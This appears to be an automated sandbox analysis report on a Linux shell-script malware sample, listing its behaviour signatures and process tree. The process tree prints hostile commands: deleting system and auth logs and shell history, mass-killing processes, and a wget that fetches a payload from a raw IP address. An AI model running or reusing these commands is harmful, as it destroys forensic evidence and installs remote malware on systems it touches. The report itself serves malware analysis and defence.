Overview

overview

7

Static

static

1

su9wyp.sh

ubuntu-18.04-amd64

7

su9wyp.sh

debian-9-armhf

7

su9wyp.sh

debian-9-mips

su9wyp.sh

debian-9-mipsel

Analysis

  • max time kernel
    134s
  • max time network
    144s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    03/08/2026, 18:24

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General

  • Target
    su9wyp.sh
  • Size 6KB
  • Sample260803-w2celswamc
  • SHA256 d29dc6ddc65de4dc6b463702ab76c73633fc3d334c9d3ee61e6396f242de9f37
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
defense_evasiondiscovery

Malware Config

Signatures

  • Deletes system logs 1 TTPs 2 IoCs

    Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.

    defense_evasion
  • Deletes log files 1 TTPs 3 IoCs

    Deletes log files on the system.

    defense_evasion
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads CPU attributes 1 TTPs 1 IoCs
    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/su9wyp.sh
    /tmp/su9wyp.sh
    1⤵
      PID:653
      • /usr/bin/tr
        tr -dc a-z
        2⤵
          PID:657
        • /usr/bin/head
          head -c 6
          2⤵
            PID:658
          • /usr/bin/head
            head -c 32 /dev/urandom
            2⤵
              PID:656
            • /bin/uname
              uname -m
              2⤵
                PID:661
              • /usr/bin/id
                id -u
                2⤵
                • Reads runtime system information
                PID:664
              • /bin/rm
                rm -f /var/log/messages /var/log/syslog /var/log/auth.log /var/log/secure /var/log/wtmp
                2⤵
                • Deletes system logs
                • Deletes log files
                PID:667
              • /bin/rm
                rm -f "~/.bash_history"
                2⤵
                  PID:670
                • /usr/bin/pkill
                  pkill -9 -f "kworker-helper|dhcpcd-monitor|ntpd-sync|udevd-helper|syslogd-rotate|crond-helper|netlink-monitor|mdev-trigger|avahi-helper|dbus-monitor|logrotate-svc|tmpfiles-clean|resolved-helper|busybox-svc|dropbear-agent|iptables-helper|sysd"
                  2⤵
                  • Reads CPU attributes
                  • Reads runtime system information
                  PID:673
                • /usr/bin/killall
                  killall -9 kworker-helper dhcpcd-monitor ntpd-sync udevd-helper syslogd-rotate crond-helper netlink-monitor mdev-trigger avahi-helper dbus-monitor logrotate-svc tmpfiles-clean resolved-helper busybox-svc dropbear-agent iptables-helper sysd
                  2⤵
                  • Reads runtime system information
                  PID:683
                • /usr/bin/wget
                  wget -q -U "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" -O usu "http://168.220.248.106:9087/payload/a6i3khk75wgf/zkrbtwag7o?t=052150ad77d6a01fcb29fd40fecadc0a12b907c469efab25cd58d3e7679523f3"
                  2⤵
                  • Writes file to tmp directory
                  PID:685

              Network

                    MITRE ATT&CK Enterprise v16

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